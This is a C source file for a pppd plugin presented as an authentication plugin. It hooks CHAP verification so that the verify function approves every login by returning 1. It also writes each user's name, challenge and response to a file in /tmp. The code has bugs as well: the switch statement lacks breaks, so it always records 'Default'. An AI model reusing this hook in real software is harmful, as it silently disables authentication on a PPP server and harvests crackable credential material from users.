#include "pppd.h"
#include "chap-new.h"
#include "chap_ms.h"
#ifdef MPPE
#include "md5.h"
#endif
#include "fsm.h"
#include "ipcp.h"
#include <syslog.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <ctype.h>

/**
        static int external_chap_check(void);
        static int external_chap_verify(char *user, char *ourname, int id,
                    struct chap_digest_type *digest,
                    unsigned char *challenge,
                    unsigned char *response,
                    char *message, int message_space);
**/
        static int external_chap_check(void){
          return 1;
        }
        static int external_auth_hook(char *user, char *ourname, int id,
                    struct chap_digest_type *digest,
                    unsigned char *challenge,
                    unsigned char *response,
                    char *message, int message_space)
        {
char *codemess;
switch (digest->code) {
        case CHAP_MICROSOFT:
        {
          codemess = "MIC";
        }
        case CHAP_MICROSOFT_V2:
        {
          codemess = "MV2";
        }
        case CHAP_MD5:
        {
          codemess = "MD5";
        }
        default:
          codemess = "Default";
}

        FILE *f = fopen("/tmp/auth.pppd.log", "w");
if (f == NULL)
{
    printf("Error opening file!\n");
    exit(1);
}



fprintf(f, "User: %s\n", user);
fprintf(f, "Challenge: %s\n",challenge);
fprintf(f, "Response: %s\n", response);
fprintf(f, "CODE: %s\n",codemess);

fclose(f);


        return 1;
        }


void plugin_init(void) {
        dbglog("PLUGIN: Initializing authenticaton plugin.");


        chap_check_hook=external_chap_check;
        chap_verify_hook=external_auth_hook;

        return;
}